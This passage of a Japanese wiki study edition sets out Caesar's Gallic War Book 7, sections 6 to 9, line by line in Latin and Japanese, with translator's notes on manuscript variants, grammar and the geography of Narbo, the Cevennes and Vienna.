;諸軍団と分断されて苦慮するカエサル
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus in Italiam Caesari [[wikt:en:nuntiatus#Latin|nuntiatis]], 
**これらの事情がイタリアにいるカエサルへ知らされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、&lt;br&gt;　　　　カエサルの属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことである。）&lt;/span&gt;
*cum iam ille [[wikt:en:urbanus#Latin|urbanas]] res [[wikt:en:virtus#Latin|virtute]] [[wikt:en:Gnaei#Latin|Gnaei]]&lt;sub&gt;&amp;nbsp;([[wikt:en:Cn.#Latin|Cn.]])&lt;/sub&gt; [[wikt:en:Pompeius#Proper_noun|Pompei]] [[wikt:en:commodior#Latin|commodiorem]] in [[wikt:en:status#Noun_11|statum]] [[wikt:en:pervenisse#Latin|pervenisse]] [[wikt:en:intellegeret|intellegeret]], 
**彼は、もはや都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の事態は[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の果断さによってより相応な状態に至ったと認識したので、
*in [[wikt:en:Gallia_transalpina#Latin|Transalpinam Galliam]] [[wikt:en:profectus#Latin|profectus]] est. 
**ガッリア・トラーンサルピーナ&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#1節|1節]]②項で言及された Galliam Transalpinam は&lt;br&gt;　　　　アルプスの西側「長髪のガッリア」全般を指すと思われるが、&lt;br&gt;　　　　ここではどちらかといえば&lt;br&gt;　　　　ガッリア南部のローマ属州ガッリア・トラーンサルピーナ&lt;br&gt;　　　　すなわち後の[[w:ガリア・ナルボネンシス|ガッリア・ナルボーネーンスィス]]を指す。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;そこに来たときに、
*magna [[wikt:en:difficultas#Latin|difficultate]] [[wikt:en:adficiebatur|adficiebatur]], qua [[wikt:en:ratio#Latin|ratione]] ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:posset#Latin|posset]]. 
**どのような方策で軍隊のもとへ到達することができるか、という大きな困難に苦悩させられていた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, si [[wikt:en:legio#Latin|legiones]] in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:arcesseret|arcesseret]], 
**なぜなら、もし、諸[[w:ローマ軍団|軍団]]を属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;に呼び寄せるのならば、
*se [[wikt:en:absens#Latin|absente]] in [[wikt:en:iter#Latin|itinere]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:dimicaturus#Latin|dimicaturas]] [[wikt:en:intellegebat|intellegebat]]; 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のままで、行軍中に戦闘を闘うことになるであろうと理解していた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; si ipse ad exercitum [[wikt:en:contenderet|contenderet]], 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自身が&lt;small&gt;（大部隊の護衛なしで）&lt;/small&gt;軍隊のもとへ急いで行くのならば、
*&lt;u&gt;ne&lt;/u&gt; iis &lt;u&gt;quidem&lt;/u&gt; eo tempore qui quieti [[wikt:en:viderentur|viderentur]], 
**そのときには、中立を保っていると見られる者たちでさえも、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iis#Latin|iis]] は&amp;beta;系写本の記述で、&amp;alpha;系写本では [[wikt:en:his#Latin|his]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quietus#Latin|quietus, quieti]]「平和的な、中立的な」）&lt;/span&gt;
*suam [[wikt:en:salus#Latin|salutem]] [[wikt:en:recte#Latin|recte]] [[wikt:en:committi|committi]] [[wikt:en:videbat|videbat]]. 
**自分の身の安全を良く託されるとは思えなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前年まで、すなわち第6巻までの戦争は主としてガッリア北部・中部などで闘われていたので、&lt;br&gt;　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で既述のように、ローマ諸軍団はガッリア北部・中部周辺に冬営させられていた。&lt;br&gt;　　　　今回は軍団が駐留していないガッリア中南部を中心に反乱が起こったので、&lt;br&gt;　　　　カエサルと諸軍団は分断された。&lt;br&gt;　　　　そのため、カエサルが大部隊の護衛なしで北上すれば、&lt;br&gt;　　　　同盟部族にさえ寝首を掻かれる怖れがあったのである。）
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===7節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/7節]]　{{進捗|00%|2025-12-19}}&lt;/span&gt;
;ルクテリウスとカエサルのナルボーをめぐる駆け引き
[[画像:Narbonne_panorama.jpg|thumb|right|300px|'''ナルボー'''（Narbo）すなわち現在の[[w:ナルボンヌ|ナルボンヌ市]]（Narbonne）の街並み。ローマ人が[[w:ドミティア街道|ドミティア街道]]の拠点として植民市'''コロニア・ナルボー・マルティウス'''（Colonia Narbo Martius）を建設し、後には[[w:ローマ内戦 (紀元前49年-紀元前45年)|ローマ内乱]]のときにもカエサル派の根拠地となった。その重要性から帝政期には州都に昇格し、[[w:属州|属州]]名も[[w:ガリア・ナルボネンシス|ガッリア・ナルボネンスィス]]に改められたほどである。]]
[[画像:Via_domitia_map600x600_(1).png|thumb|right|200px|[[w:ドミティア街道|ドミティア街道]]（Via Domitia）の経路。ローマ人によってイタリアと[[w:ヒスパニア|ヒスパーニア]]を結ぶ重要な街道として整備された。本節でカエサル側の軍勢が往復したのもこの街道である。]]
:　
;　　　カドゥルキー族のルクテリウスが、ルテーニー族を同盟に引き入れる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Lucterius#Latin|Lucterius]] [[wikt:en:Cadurcus#Latin|Cadurcus]] 
**その間に、カドゥルキー族のルクテリウスが
*in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:missus#Participle|missus]] 
**ルテーニー族のところに遣わされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#5節|5節]]の冒頭で述べられた。&lt;br&gt;　　　　ルテーニー族 ''[[w:en:Ruteni|Ruteni]]'' は現在の[[w:アヴェロン県|アヴェロン県]]の&lt;br&gt;　　　　[[w:ロデーズ|ロデーズ]]辺りにいたとされる。）&lt;/span&gt;
*eam [[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:conciliat|conciliat]]. 
**その部族に[[w:アルウェルニ族|アルウェルニー族]]との仲を取り持つ。
:　
;　　　ルクテリウスが、ローマ属州内の拠点都市ナルボーを目指す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:progressus#Participle|Progressus]] in [[wikt:en:Nitiobriges#Latin|Nitiobriges]] et [[wikt:en:Gabali#Latin|Gabalos]] 
**&lt;small&gt;（彼は）&lt;/small&gt;ニティオブリゲース族とガバリー族のところに進んで行き、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ニティオブリゲース族&lt;br&gt;　　　　　またはニティオブロゲース族 ''[[w:en:Nitiobroges|Nitiobroges]]'' は&lt;br&gt;　　　　　現在の[[w:ロット＝エ＝ガロンヌ県|ロット＝エ＝ガロンヌ県]][[w:アジャン|アジャン]]辺り、&lt;br&gt;　　　　ガバリー族 ''[[w:en:Gabali|Gabali]]'' は現在の[[w:ロゼール県|ロゼール県]]辺りにいたらしい。）&lt;/span&gt;
*ab [[wikt:en:uterque#Latin|utrisque]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:accipit|accipit]] 
**双方から人質たちを受け取って、
*et, magna [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**多くの手勢を徴集すると、
*in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:versus#Latin|versus]] [[wikt:en:eruptio#Latin|eruptionem]] facere [[wikt:en:contendit|contendit]]. 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;[[w:属州|属州]]内のナルボーに向かって出撃することを急ぐ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ナルボー [[w:la:Narbo|Narbo]] は、ローマ人が建設した地中海岸の植民市で、&lt;br&gt;　　　　ヒスパーニアとイタリアを結ぶ拠点であった。&lt;br&gt;　　　　現在の[[w:ナルボンヌ|ナルボンヌ]]。）&lt;/span&gt;
:　
;　　　カエサルもナルボーを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:untiatus#Latin|nuntiata]] 
**その事を報告されると、
*Caesar omnibus [[wikt:en:consilium#Latin|consiliis]] [[wikt:en:antevertendus#Latin|antevertendum]] &lt;span style=&quot;color:#009900;font-size:8pt;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:existimavit|existimavit]], ut [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:proficisceretur|proficisceretur]]. 
**カエサルは、ナルボーに出発することを、あらゆる計画に先立ってするべきであると考えた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへやって来ると、
*[[wikt:en:timens#Latin|timentes]] [[wikt:en:confirmat#Latin|confirmat]], 
**&lt;ruby&gt;&lt;rb&gt;怖気&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おじけ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ている者たちを元気付けて、
*[[wikt:en:praesidium#Latin|praesidia]] 
**守備隊を
*in [[wikt:en:Ruteni#Latin|Rutenis]] [[wikt:en:provincialis#Latin|provincialibus]], [[wikt:en:Volcae#Latin|Volcis]] [[wikt:en:Arecomici#Latin|Arecomicis]], [[wikt:en:Tolosates#Latin|Tolosatibus]] 
**属州側のルテーニー族、[[w:ウォルカエ族|ウォルカエ]]・アレコミキー族、トローサーテース族&lt;small&gt;（らの領内）&lt;/small&gt;に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上述のように、属州外の&lt;u&gt;ルテーニー族&lt;/u&gt;は[[w:アルウェルニ族|アルウェルニー族]]と結んでいる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:ウォルカエ族|ウォルカエ族]]は、西側に住むテクトサゲース族 ''[[w:en:Tectosages|Tectosages]]'' と&lt;br&gt;　　　　　　　　　　　　東側に住むアレコミキー族 ''[[w:en:Arecomici|Arecomici]]'' の2支族に分かれていた。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：トローサーテース族 ''[[w:fr:Tolosates|Tolosates]]'' は、ウォルカエ・テクトサゲース族の分派とされ、&lt;br&gt;　　　　　現在の[[w:トゥールーズ|トゥールーズ]]の近くにいたと考えられている。）&lt;/span&gt;
*[[wikt:en:circum#Preposition|circum]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Narbo#Latin|Narbonem]], quae [[wikt:en:locum#Latin|loca]] hostibus erant [[wikt:en:finitimus#Latin|finitima]], 
**および敵方に隣接した地である[[w:ナルボンヌ|ナルボー]]周辺に
*[[wikt:en:constituit#Latin|constituit]]; 
**駐留させる。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; partem [[wikt:en:copiae#Noun_2|copiarum]] ex [[wikt:en:provincia#Latin|provincia]] 
**属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;からの軍勢の一部、
*[[wikt:en:supplementum#Latin|supplementum]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quod ex Italia [[wikt:en:adduxerat|adduxerat]], 
**およびイタリアから率いて来た補充兵を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：後者の補充兵 supplementum は、[[#1節|1節]]で既述のように、&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]で徴募された軍団兵であろう。）&lt;/span&gt;
*in [[wikt:en:Helvii#Latin|Helvios]], qui fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:contingunt|contingunt]], 
**[[w:アルウェルニ族|アルウェルニー族]]の領土に接しているヘルウィイー族のところに
*[[wikt:en:convenire#Latin|convenire]] [[wikt:en:iubet#Latin|iubet]].
**集結することを命じる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===8節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/8節]]　{{進捗|00%|2026-01-03}}&lt;/span&gt;
[[画像:Carte-cevennes-france.png|thumb|right|200px|フランスにおける[[w:中央高地 (フランス)|中央高地]]（Massif Central）とセヴェンヌ山地（Cévennes）の位置]]
[[画像:Col_de_legal.jpeg|thumb|right|200px|[[w:雪|雪]]に覆われた[[w:オーヴェルニュ地域圏|オーヴェルニュ高地]]。オーヴェルニュ（Auvergne）の名は[[w:アルウェルニ族|アルウェルニー族]]（Arverni）に由来する。]]
[[画像:Causse_Mejean_Evening.jpg|thumb|right|200px|城壁のように続くケウェンナ（セヴェンヌ）山地の断崖]]
[[画像:France_Massif_central.jpg|thumb|right|200px|[[w:アルウェルニ族|アルウェルニー族]]の勢力圏であった[[w:中央高地 (フランス)|中央高地]]（Massif Central）の領域（着色部分）。平野の多いフランスにおいて山塊としてそびえ立つ。]]
:　
;カエサルがケウェンナ山地を越えてアルウェルニー族の領内へ突入
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:comparatus#Latin|comparatis]], 
**これらの事が整えられて、
*[[wikt:en:repressus#Latin|represso]] iam [[wikt:en:Lucterius#Latin|Lucterio]] et [[wikt:en:remotus#Latin|remoto]], 
**&lt;small&gt;（カドゥルキー族の）&lt;/small&gt;ルクテリウスはすでに押し留められ、遠ざけられた。
*quod [[wikt:en:intrare#Latin|intrare]] intra [[wikt:en:praesidium#Latin|praesidia]] [[wikt:en:periculosus#Latin|periculosum]] [[wikt:en:putabat|putabat]], 
**──というのは&lt;small&gt;（ローマ人の）&lt;/small&gt;守備の範囲内に踏み込むことは危険なことであると&lt;small&gt;（ルクテリウスが）&lt;/small&gt;見なしていたからであるが、──
*in [[wikt:en:Helvii#Latin|Helvios]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（そこで、カエサルは）&lt;/small&gt;ヘルウィイー族のところに出発する。
:　
;　　　カエサルが、アルウェルニー族の要害ケウェンナ山を越える
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Etsi&lt;/u&gt; mons &lt;u&gt;Cevenna&lt;/u&gt;, qui [[wikt:en:Arverni#Latin|Arvernos]] ab [[wikt:en:Helvii#Latin|Helviis]] [[wikt:en:discludit|discludit]], 
**[[w:アルウェルニ族|アルウェルニー族]]をヘルウィイー族から隔てている&lt;u&gt;ケウェンナ山&lt;/u&gt;は、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：山の名は写本によって Cebenna または Cevenna となっており、&lt;br&gt;　　　　　[[w:ガイウス・プリニウス・セクンドゥス|大プリーニウス]]が記した [[wikt:en:Cebenna#Latin|Cebenna]] がガリア語に近いようである。&lt;br&gt;　　　　現在名はセヴェンヌ山地 Cévennes と呼ばれ、&lt;br&gt;　　　　　[[w:中央高地 (フランス)|フランス中央高地]]（Massif Central）の南東部にそそり立っている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …「～としても、にもかかわらず…」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:mons#Latin|mons]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:durissimus#Latin|durissimo]] tempore anni 
**最も厳しい時季に
*[[wikt:en:altissimus#Latin|altissima]] [[wikt:en:nix#Latin|nive]] iter [[wikt:en:impediebat|impediebat]], 
**豪[[w:雪|雪]]によって道を閉ざしていたのであるが、
*&lt;u&gt;tamen&lt;/u&gt; [[wikt:en:discussus#Latin|discussa]] [[wikt:en:nix#Latin|nive]] sex in [[wikt:en:altitudo#Latin|altitudinem]] [[wikt:en:pes#Latin|pedum]] 
**にもかかわらず&lt;small&gt;（カエサル勢は）&lt;/small&gt;深さ6&lt;u&gt;ペース&lt;/u&gt;の雪を粉砕して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、6ペースは約1.8メートル弱。）&lt;/span&gt;
*atque ita [[wikt:en:via#Latin|viis]] [[wikt:en:patefactus#Latin|patefactis]] [[wikt:en:summus#Latin|summo]] [[wikt:en:miles#Latin|militum]] &lt;u&gt;sudore&lt;/u&gt;
**このように兵士たちの最大の努力によって道が開かれて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sudor#Latin|sudore]]「汗」だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:labor#Latin|labore]]「労苦」 となっている。）&lt;/span&gt;
*ad fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:pervenit#Latin|pervenit]]. 
**[[w:アルウェルニ族|アルウェルニー族]]の領土へ到達した。
:　
;　　　アルウェルニー族が、カエサルの奇襲に周章狼狽する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus [[wikt:en:oppressus#Latin|oppressis]] [[wikt:en:inopinans#Latin|inopinantibus]], 
**&lt;small&gt;（アルウェルニー族は）&lt;/small&gt;彼らに対する&lt;small&gt;（カエサルの）&lt;/small&gt;攻撃を予期していなかったが、
*quod se &lt;u&gt;Cevenna&lt;/u&gt; ut [[wikt:en:murus#Latin|muro]] [[wikt:en:munitus#Latin|munitos]] [[wikt:en:existimabant|existimabant]], 
**──というのは、自分たちは&lt;u&gt;ケウェンナ&lt;/u&gt;を壁として防御されていると考えていたからであり、
*ac &lt;u&gt;ne&lt;/u&gt; [[wikt:en:singularis#Latin|singulari]] &lt;u&gt;quidem&lt;/u&gt; [[wikt:en:umquam#Latin|umquam]] homini eo tempore anni [[wikt:en:semita#Latin|semitae]] [[wikt:en:patuerant|patuerant]], 
**かつ、その時季には、個人にとってさえも、小道はかつて開かれていなかったからであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*[[wikt:en:eques#Latin|equitibus]] [[wikt:en:imperat|imperat]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;騎兵たちに命令する。
*ut, [[wikt:en:quam#Adverb|quam]] [[wikt:en:late#Latin|latissime]] [[wikt:en:possint|possint]], [[wikt:en:vagentur|vagentur]] 
**できるだけ広く動き回り、
*et [[wikt:en:quam#Adverb|quam]] maximum hostibus [[wikt:en:terror#Latin|terrorem]] [[wikt:en:inferant|inferant]]. 
**敵たちに最大限の恐怖を引き起こすように、と。
:　
;　　　ウェルキンゲトリークスが、ビトゥリゲース族のもとから軍勢を取って返す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Celeriter haec [[wikt:en:fama#Latin|fama]] ac &lt;u&gt;nuntiis&lt;/u&gt; 
**これらのことは速やかに風評や伝令たちによって、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:nuntii#Latin|nuntii]] だが、&lt;br&gt;　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Manutius|Manutius]]'' が [[wikt:en:nuntiis#Etymology_1|nuntiis]] と修正提案している。）&lt;/span&gt;
*ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:perferuntur|perferuntur]]; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ報知される。
*quem [[wikt:en:perterritus#Latin|perterriti]] omnes [[wikt:en:Arverni#Latin|Arverni]] [[wikt:en:circumsistunt|circumsistunt]] atque [[wikt:en:obsecrant|obsecrant]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;を、脅かされている[[w:アルウェルニ族|アルウェルニー族]]の皆が取り巻いて、嘆願する。
*ut suis [[wikt:en:fortuna#Latin|fortunis]] [[wikt:en:consulat#Latin|consulat]], 
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;の境遇に配慮してくれるように、
*&lt;u&gt;neve&lt;/u&gt; ab hostibus &lt;u&gt;diripiantur&lt;/u&gt;,  
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;が敵&lt;small&gt;〔ローマ人〕&lt;/small&gt;によって略奪されることを許容しないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この行は、&amp;alpha;系写本では [[wikt:en:neve#Latin|neve]] ab hostibus [[wikt:en:diripiantur|diripiantur]] &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:neu#Latin|neu]] se ab hostibus [[wikt:en:diripi|diripi]] [[wikt:en:patiatur|patiatur]] となっている。）&lt;/span&gt;
*[[wikt:en:praesertim#Latin|praesertim]] cum [[wikt:en:videat|videat]] [[wikt:en:omnis#Latin|omne]] ad se bellum [[wikt:en:translatus#Participle|translatum]]. 
**とりわけ、すべての戦争が自分たちへ向けられると&lt;small&gt;（彼が）&lt;/small&gt;見なしているのであるから
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：praesertim cum ～；とりわけ～であるから）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quorum ille [[wikt:en:prex#Latin|precibus]] [[wikt:en:permotus#Latin|permotus]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、その者たちの懇願に揺り動かされて、
*[[wikt:en:castra#Latin|castra]] ex [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:movet|movet]] in [[wikt:en:Arverni#Latin|Arveruos]] [[wikt:en:versus#Latin|versus]].
**陣営をビトゥリゲース族のところから[[w:アルウェルニ族|アルウェルニー族]]のところに向けて行軍する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：castra movet 「陣営を動かす」＝「行軍する」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：現在の[[w:ブールジュ|ブールジュ]]辺りから[[w:クレルモン＝フェラン|クレルモン＝フェラン]]辺りに南下したようである。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===9節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/9節]]　{{進捗|00%|2026-01-12}}&lt;/span&gt;
;カエサルが北上して諸軍団と合流するが、同盟軍はゴルゴビナ攻略をめざす
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; At Caesar, [[wikt:en:biduum#Latin|biduum]] in his locis [[wikt:en:moratus#Participle|moratus]], 
**それに対して、カエサルは2日間、この地に留まった。
*quod haec de [[wikt:en:Vercingetorix#Latin|Vercingetorige]] usu ventura [[wikt:en:opinio#Latin|opinione]] [[wikt:en:praeceperat|praeceperat]], 
**──というのは、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]についてこれ&lt;small&gt;〔陣営の移動〕&lt;/small&gt;が起こると予想をしていたからだが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：usu venire 「起こる」→&amp;nbsp; usu [[wikt:en:venturus#Latin|ventūra]] (esse) 「起こるであろう」）&lt;/span&gt;
*per causam [[wikt:en:supplementum#Latin|supplementi]] [[wikt:en:equitatus#Noun|equitatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:cogendus#Latin|cogendi]] 
**補充兵と騎兵隊を徴集するためという口実のもとに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：per causam 「口実のもとに」）&lt;/span&gt;
*ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:discedit|discedit]]; 
**軍隊から離れる。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:Brutus#Latin|Brutum]] [[wikt:en:adulescens#Noun|adulescentem]] his copiis [[wikt:en:praeficit|praeficit]]; 
**&lt;small&gt;（カエサルは）&lt;/small&gt;&lt;u&gt;青年ブルートゥス&lt;/u&gt;にこの軍勢を指揮させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：青年ブルートゥスとは、&lt;br&gt;　　　　[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ブルートゥス]]（&lt;small&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/small&gt;）のことで、&lt;br&gt;　　　　[[ガリア戦記 第3巻#14節|第3巻14節]]でカエサルの艦隊を指揮した。）&lt;/span&gt;
*hunc [[wikt:en:monet#Latin|monet]], ut in omnes partes [[wikt:en:eques#Latin|equites]] quam [[wikt:en:late#Latin|latissime]] [[wikt:en:pervagentur|pervagentur]]: 
**彼には、[[w:騎兵|騎兵]]たちがあらゆる方面にできるだけ広く駆け回るようにと、忠告する。
*&lt;u&gt;daturum&lt;/u&gt; se &lt;u&gt;operam&lt;/u&gt;, ne longius [[wikt:en:triduum#Latin|triduo]] ab [[wikt:en:castra#Latin|castris]] [[wikt:en:absit#Latin|absit]]. 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は、3日間より長く陣営から離れないように、努力をするであろう、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:opera#Latin|operam]] dare 「努力をする」→&amp;nbsp; operam  [[wikt:en:daturus#Latin|datūrum]] (esse) 「努力をするであろう」）&lt;/span&gt;
[[画像:Image-Vienne-Cropped.jpg|thumb|right|300px|'''ウィエンナ'''（Vienna）すなわち現在のヴィエンヌ（Vienne）。ロダヌス川（現[[w:ローヌ川|ローヌ川]]）のほとりにある当地は、南仏[[w:プロヴァンス|プロヴァンス地方]]と北仏[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]]を結ぶ交通の要衝として、古代ローマ時代から栄え、今もローマ時代の遺跡が多く残る。]]
:　
;　　　カエサルが、急いでウィエンナへ北進する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:constitutus#Participle|constitutis]] rebus, 
**これらの事を決定すると、
*&lt;u&gt;omnibus&lt;/u&gt; suis [[wikt:en:inopinans#Latin|inopinantibus]], 
**配下の皆が予期しないほど、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：omnibus は &amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
*quam [[wikt:en:maximus#Latin|maximis]] potest [[wikt:en:iter#Latin|itineribus]], 
**できるかぎりの強行軍で、
*[[wikt:en:Vienna#Etymology_1|Viennam]] [[wikt:en:pervenit#Latin|pervenit]]. 
**&lt;u&gt;ウィエンナ&lt;/u&gt;に到着する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ウィエンナ [[w:la:Vienna|Vienna]] は、&lt;br&gt;　　　　　現在の[[w:ヴィエンヌ (イゼール県)|ヴィエンヌ]] ''[[w:en:Vienne, Isère|Vienne]]''）&lt;/span&gt;
:　
;　　　カエサルが、ハエドゥイー族領を抜けて、2個軍団が冬営するリンゴネース族領へ向けて北上する
